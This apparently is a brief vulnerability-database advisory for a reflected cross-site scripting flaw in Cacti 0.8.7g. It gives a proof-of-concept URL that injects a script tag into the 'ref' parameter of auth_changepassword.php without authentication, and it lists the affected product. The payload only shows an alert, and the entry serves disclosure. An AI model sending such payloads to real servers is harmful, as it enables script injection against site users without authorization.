As an unauthenticated remote user, visit "<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" to successfully execute the JavaScript payload present in the "ref" URL parameter.
Vulnerable Product | Search on Vulmon | Subscribe to Product |
---|---|---|
cacti cacti 0.8.7g |